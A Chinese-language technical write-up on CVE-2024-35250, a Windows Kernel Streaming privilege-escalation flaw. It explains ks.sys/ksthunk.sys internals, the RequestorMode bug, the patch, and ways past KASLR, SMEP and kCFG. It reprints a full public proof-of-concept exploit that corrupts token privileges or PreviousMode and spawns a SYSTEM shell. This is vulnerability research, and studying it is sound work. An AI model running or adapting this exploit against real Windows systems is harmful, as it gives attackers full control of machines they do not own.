CVE-2024-35250分析

CVE-2024-35250是DEVCORE发现的一个可利用性极高的内核提权漏洞(发现者是著名大佬Angelboy)

微软公开的介绍

也可以阅读Angelboy大佬的文章Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I | DEVCORE

内核流式传输

在进行漏洞分析之前需要先了解一些前置知识

Windows内核流式传输框架(Windows Kernel Streaming Framework)是Windows操作系统中用于处理实时多媒体数据流的核心组件

当打开摄像头、开启音效以及麦克风等音频设备时,系统需要将这些设备中的声音、影像等相关数据读取到 RAM 中, 这时就会用上内核流式传输框架

内核流有三种多媒体驱动模型:

  • 端口类
  • AVStream
  • 流类(已经过时, 现代设备基本不会采用该模型)

端口类

主要用于音频硬件驱动(如声卡等)

由微软提供端口驱动(Port Driver),处理通用音频功能(如混音、格式转换)。硬件厂商只需实现微型端口驱动(Miniport Driver),专注于硬件控制。

AVStream

适用于视频采集、流媒体处理(如摄像头、视频捕获卡)

取代了旧版 KS(Kernel Streaming) 框架,提供更现代的驱动模型。

支持即插即用(PnP)、电源管理,简化了过滤器(Filter)和管脚(Pin)的实现。

设备交互

对于这类设备其实交互与普通设备并没有太大区别, 同样是通过CreateFile打开设备获得句柄进行操作

设备路径

但区别在于他们的名字并不像\Devcie\NamedPipe 这样,而是会像下面这样的路径 :

1
\\\hdaudio#subfunc_01&ven_8086&dev_2812&nid_0001&subsys_00000000&rev_1000#6&2f1f346a&0&0002&0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo

组成成分

  1. 前缀 \\?\

    表示使用 Windows 的扩展长度路径格式(支持超长路径名)

  2. 设备类型标识

    hdaudio:表示设备为 高清音频控制器(如 Intel HD Audio)

    类似还有:

    • usb#vid_xxxx&pid_xxxx(USB 摄像头)
    • pci#ven_xxxx&dev_xxxx(PCI 视频采集卡)
  3. 硬件标识符

    ven_8086:厂商 ID

    dev_2812:设备型号

    nid_0001:节点 ID

  4. GUID 部分

    {6994ad04-93ef-11d0-a3cc-00a0c9223196}:Windows 定义的设备接口类 GUID(此处是 KSCATEGORY_AUDIO,表示音频设备)

    其他常见 GUID:

    • 摄像头:{65E8773D-8F56-11D0-A3B9-00A0C9223196}
    • 视频采集:{53172480-4791-11D0-A5D6-28DB04C10000}
  5. 功能端点

    ehdmiouttopo:表示设备的特定功能端点(此处是 HDMI 音频输出拓扑)

枚举设备

由于硬件配置、厂商 ID、设备实例 ID 等差异,音频/视频设备的路径(如 \\?\hdaudio#...)是动态生成的,不能硬编码在代码中

要使用 Windows 提供的设备管理 API(如 SetupDi* 系列函数)动态获取设备路径

SetupDi*系列核心api

  1. SetupDiGetClassDevs获取指定设备类别(如音频、摄像头)的所有设备列表。

    参数:

    • ClassGuid:设备类别的 GUID(如 KSCATEGORY_AUDIO)。
    • Flags:控制枚举范围(如 DIGCF_PRESENT 只枚举当前连接的设备)。
  2. SetupDiEnumDeviceInterfaces遍历设备列表,获取每个设备的接口信息(包括设备路径)。

  3. SetupDiGetDeviceInterfaceDetail获取设备的详细路径(即 \\?\hdaudio#... 格式的字符串)。

当然也可以直接使用ks简化的api, 快速打开指定类别的第一个可用设备

1
2
3
4
5
6
7
8
9
#include <Ks.h>
#include <KsMedia.h>

HANDLE g_hDevice;
HRESULT hr = KsOpenDefaultDevice(
KSCATEGORY_VIDEO_CAMERA,
GENERIC_READ | GENERIC_WRITE,
&g_hDevice
);

本质还是对 SetupDiGetClassDevs + CreateFile 的封装

内核流对象

Windows内核流式传输框架(Kernel Streaming)在启用设备后会在内核中创建关键对象实例

KS过滤器(KS Filter)

采用类似”黑盒”的设计理念,开发者通过统一接口与过滤器交互

每个KS过滤器通常代表一个物理设备或设备的特定功能模(不仅限于物理设备,也可以用于虚拟设备或软件层面的处理), 作为数据处理的中心枢纽,所有流数据都要通过过滤器进行处理

例如: 打开音频设备后会对应到一个音频过滤器,过滤器可能由多个节点组成,节点对流数据进行处理。音频过滤器通常会处理音频数据流,但它可能包含多个子功能(如解码、编码、效果处理等)

KS引脚(KS Pin)

作为过滤器的数据输入/输出端点, 必须通过Pin实例才能对Filter进行数据读写操作

主要作用有:明确区分输入端和输出端, 定义支持的数据格式和传输特性, 控制数据流的方向和行为

核心属性系统

所有KS对象(过滤器和Pin)都通过属性系统暴露其功能, 使用GUID标识的属性标识, 例如支持的格式、传输特性等

开发者可以使用IOCTL_KS_PROPERTY来设置和获取属性,控制设备的行为

例子

例如应用程序从视频摄像头读取数据的流程大致如下图

  1. 设备初始化

    使用CreateFileKsOpenDefaultDevice获取设备句柄

  2. Pin实例创建

    在过滤器上创建特定Pin的实例, 获取代表该Pin的独立句柄

  3. 流配置

    使用IOCTL_KS_PROPERTY进行属性设置, 例如视频格式(如MJPG/YUY2), 帧率(如30fps)等

    同时将Pin状态设置为运行(Run)状态

  4. 数据采集

    使用IOCTL_KS_READ_STREAM从Pin读取视频帧数据

内核流式传输架构

整个内核流式传输架构大致如下图

其中包含两个重要的驱动ksthunk.sys与ks.sys

ksthunk

内核流式 WOW Thunk 服务驱动程序

在调用 DeviceIoControl 应用后,在 Kernel Streaming 的入口点 ,但它功能很简单,负责将 WoW64 进程中的 32 位请求转换成 64 位请求,使得下层的驱动就不必为 32 位结构另外处理。

ks

内核连接和流架构库

内核流媒体的核心组件之一,它是内核流媒体的库函数,负责转发 IOCTL_KS_PROPERTY 等请求到对应设备的驱动程序中,同时也会负责处理 AVStream 的相关功能。

IOCTLKS* 的工作流程

当调用 DeviceIoControl 时, 用户的请求处理流程大致就如下图

而到第 6 步时 ks.sys 就会根据请求的 属性 来决定要交给哪个驱动及处理器来处理请求

最终再转发给相应的驱动程序,如上图最后转发给 portcls 中的 handler 来操作音频设备

漏洞分析

作者的原文中还详细地描述了漏洞发现的思路与分析过程, 感兴趣可以看作者的文章

这里我们就直接进行漏洞的介绍了

漏洞成因

_ETHREAD线程对象有一个字段PreviousMode, 用于标识参数值的来源是用户模式还是内核模式

PreviousMode - Windows drivers | Microsoft Learn

其有两种可能UserModeKernelMode, 该值会影响内核是否启用某些操作来保障安全性

调用方式 PreviousMode 设置 说明
用户模式应用调用 NtXxx 自动设为 UserMode 系统调用陷阱处理程序(如 syscall / sysenter)会设置 PreviousMode = UserMode
内核驱动调用NtXxx 保持调用线程的原有值 如果线程原本是用户模式调用链的一部分,PreviousMode 可能仍是 UserMode,导致错误。
内核驱动调用 ZwXxx 强制设为 KernelMode ZwXxxNtXxx 的包装器,会临时覆盖 PreviousModeKernelMode,避免安全检查。

与之相关有IRP的RequestorMode字段, 在内核驱动中常常会用到这个字段决定是否需要对用户的requests做一些额外的安全检查

很多时候RequestorMode的值就来自于PreviousMode

那么这个机制就存在一个问题: 即如果用户态发送IRP请求进入内核态后调用了Zw函数, 而Zw\函数本身又发起了一个IRP请求

此时PreviousMode已经变为KernelMode, 但是后来发起的IRP请求却依然可能包含有用户传递的内容, 从而使用户的请求规避了某些安全检查

事实上这种情况确实存在

内核驱动中可以使用 IoBuildDeviceIoControlRequest 这个方法去创建一个 DeviceIoControl 的 IRP,该函数会创建好 IRP,然后后续去调用 IofCallDriver,这样就可以在内核驱动中调用 IOCTL

If the caller supplies an InputBuffer or OutputBuffer parameter, this parameter must point to a buffer that resides in system memory. The caller is responsible for validating any parameter values that it copies into the input buffer from a user-mode buffer. The input buffer might contain parameter values that are interpreted differently depending on whether the originator of the request is a user-mode application or a kernel-mode driver. In the IRP that IoBuildDeviceIoControlRequest returns, the RequestorMode field is always set to KernelMode. This value indicates that the request, and any information contained in the request, is from a trusted, kernel-mode component.

根据微软的文档可以知道, 如果没有特别去设置 RequestorMode 就会直接以 KernelMode 形式去调用 IOCTL

漏洞所在

在ks.sys中就存在对IoBuildDeviceIoControlRequest方法的使用

通过反编译ks.sys可以发现这个函数KsSynchronousIoControlDevice完美符合条件

1
2
3
4
5
6
7
8
9
NTSTATUS __stdcall KsSynchronousIoControlDevice(
PFILE_OBJECT FileObject,
KPROCESSOR_MODE RequestorMode,
ULONG IoControl,
PVOID InBuffer,
ULONG InSize,
PVOID OutBuffer,
ULONG OutSize,
PULONG BytesReturned)

尽管这并不是一个Zw*函数, 但是RequestorMode却作为一个参数可控

并且ks.sys中在使用这个函数时, 往往将RequestorMode设置为0

例如UnserializePropertySet

memmove的第二个参数其实应该是CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer也就是用户可控的内容

OutBuffer也来自原先的IRP请求, 也就是说到这里已经拥有了RequestorMode为KernelMode且存在用户可控参数的原语了

那如何触发UnserializePropertySet函数呢

在 Kernel Streaming 的 IOCTL_KS_PROPERTY 功能中,为了提高效率

提供了 KSPROPERTY_TYPE_SERIALIZESETKSPROPERTY_TYPE_UNSERIALIZESET 功能允许用户通过 单次调用 与多个 Property 进行操作。

当我们使用这个功能时,这些请求将被 KsPropertyHandler 函数分解成多个调用

过程如图

UnserializePropertySet处理又会调用KsSynchronousIoControlDevice 重新做一次 IOCTL,而此时新的 Irp->RequestorMode 就变成了 KernelMode(0)

EoP

现在已经存在KernelMode下的任意IOCTL_KS_PROPERTY, 现在要做的就开始寻找可触发利用点

在ksthunk.sys中DispatchIoctl负责对请求进行分发

如果请求不是32位的, 就会调用CKSThunkDevice::CheckIrpForStackAdjustmentNative

其中3080195是IOCTL_KS_PROPERTY的调用号

而在CKSThunkDevice::CheckIrpForStackAdjustmentNative函数存在如下代码

如果是直接从用户态调用这个过程, 那么会检查RequestorMode直接返回错误

但现在是从内核态发起的调用, 那么就会执行下面的将用户输入作为函数调用, 并且第一个参数可控

那现在要面对的就是KASLR, SMEP, KCFG等保护

对于前两者在Windows下解决都不算困难

  • KASLR使用EnumDeviceDriversNtQuerySystemInformation等api即可获得内核加载基址
  • SMEP则直接调用内核代码即可

CFG保护会检查通过指针间接调用的函数是否在合法的函数表中

RtlSetAllBits就是一个能够被利用的函数, 其是 kCFG 中合法的 function,而且也只需要控制一个参数_RTL_BITMAP

1
2
3
4
5
struct _RTL_BITMAP
{
ULONG SizeOfBitMap;
ULONG* Buffer;
};
1
2
3
4
5
6
7
8
9
10
11
12
void stdcall RtlSetAllBits(PRTL_BITMAP BitMapHeader) {
unsigned int* Buffer;//r8
unsigned int64 v2; / rdx
//...
Buffer = BitMapHeader->Buffer;
v2 = (unsigned int64)(4 * (((BitMapHeader > SizeOfBitMap & 0x1F) != 0 ) + (BitMapHeader->SizeOfBitMap >> 5))) >> 2;
if( v2 ){
memset(Buffer, 0xFFu, 8 * (v2 >> 1));
if ((v2 & 1) != 0)
Buffer[v2 - 1] = -1;
}
}

不过这样就不能用替换token的提权方式了, 只能直接修改Token->Privilege将其全部置位来开启所有权限

POC

网络上目前已经有公开的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
/*
PoC Info
--------------------------------------------------------------
Vulnerability: CVE-2024-35250/CVE-2024-30084
Tested environment: Windows 11 22h2 Build 22621
Windows 10 20h2 Build 19042
VMWare Workstation 17 Pro
Weakness: CWE-822: Untrusted Pointer Dereference
Required privileges: Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
//#define _SEP_TOKEN_PRIVILEGES 0xc1b4
#define _PREVIOUS_MODE 0xbaba
#include "common.h"

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")

int main()
{
HANDLE hDevice = NULL;
BOOL res = FALSE;
NTSTATUS status = 0;
uint32_t Ret = 0;

hDevice = GetKsDevice(KSCATEGORY_DRM_DESCRAMBLE);

#ifdef _SEP_TOKEN_PRIVILEGES

HANDLE hToken;
uint64_t ktoken_obj = 0;
res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

if (!res)
{
printf("[-] Failed to open current process token\n");
return res;
}

res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
if (res != NULL)
{
return -1;
}

printf("[+] Current process TOKEN address = %llx\n", ktoken_obj);
#elif defined _PREVIOUS_MODE

uint64_t Sysproc = 0;
uint64_t Curproc = 0;
uint64_t Curthread = 0;

HANDLE hCurproc = 0;
HANDLE hThread = 0;
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address: %llx\n", Sysproc);

//
// Leak Current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current KTHREAD address: %llx\n", Curthread);
}

//
// Leak Current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address: %llx\n", Curproc);
}
#endif

//
// Initialize input buffer
//
pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
pInBufProperty->Id = 0x0;

//
// Initialize output buffer
//
pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;

pSerialHdr->Count = 0x1;

pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
pSerial->Id = 0x0; // Should be null
pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
pSerial->PropTypeSet.Flags = 0x0; // Should be null
pSerial->PropTypeSet.Id = 0x45; // Irrelevant value

//
// Intialize fake property data
//
uint64_t ntoskrnl_user_base = 0;
HMODULE outModule = 0;
UINT_PTR ntoskrnlBase = GetKernelModuleAddress("ntoskrnl.exe");
printf("[+] ntoskrnl.exe base address = %llx\n", ntoskrnlBase);
pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), Ptr64(0x10000000));

#ifdef _SEP_TOKEN_PRIVILEGES
//
// FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
//
// It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4;
pOutBufPropertyData->FakeBitmap->Buffer = Ptr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621);
pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64(leak_gadget_address("RtlSetAllBits"));
printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
//
// FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
//
pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20;
pOutBufPropertyData->FakeBitmap->Buffer = Ptr64(Curthread + PREV_MODE_WIN_11_22H2_22621);
pInBufPropertyData->ptr_ArbitraryFunCall = Ptr64(leak_gadget_address("RtlClearAllBits"));
printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif

//
// Send property request to trigger the vulnerability
//
res = SendIoctlReq(hDevice);

if (!res)
{
printf("[-] SendIoctlReq failed\n"); // It's ok to see this message if exploit succeded
}

#ifdef _SEP_TOKEN_PRIVILEGES

HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));

if (!hWinLogon)
{
printf("[-] OpenProcess failed with error = %lx\n", GetLastError());
return FALSE;
}

CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");

return TRUE;

#elif defined _PREVIOUS_MODE
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

KPROCESSOR_MODE mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations

Write64(Ptr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), Ptr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), TOKEN_SIZE);

//
// Restoring KTHREAD.PreviousMode phase
//
Write64(Ptr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));

//
// Spawn the shell with "nt authority\system"
//
system("cmd.exe");
#endif

return 0;
}

提权之前的过程就是设置各个属性以及标志位让执行流成功到达目的代码, 并触发函数调用, 遇之前的漏洞描述符合一致

该poc除了原文提到的提权方案之外, 还提供了一个类似的, 共两种提权方式

  • 一种是上面提到的使用RtlSetAllBits修改_SEP_TOKEN_PRIVILEGES直接开启所有权限, 然后打开一个高权限进程并以这个进程句柄为父句柄创建新进程
  • 还有一种是通过RtlClearAllBits将_ETHREAD.PreviousMode改为0, 从而有权限调用NtWriteVirtualMemory进行内核空间任意写, 替换Token, 在启动新进程之前还原回UserMode, 避免system触发BSOD

修复方案

修复方案在ks!KspPropertyHandler函数中

修复之前

解析到对应的KsProperty_flag为KSPROPERTY_TYPE_SERIALIZESET或者KSPROPERTY_TYPE_UNSERIALIZESET就直接调用对应函数

修复之后

可以看到在调用之前增加了条件检查

除非满足Feature_3118115132__private_IsEnabledDeviceUsage函数返回True, 而大多数时候显然并不会

否则就比较pInBufProperty->Set是否为KSPROPSETID_DrmAudioStream, 不相等才继续调用函数执行

pInBufProperty->Set == KSPROPSETID_DrmAudioStream却是在ksthunk!CheckIrpForStackAdjustmentNative函数中触发函数调用点的前提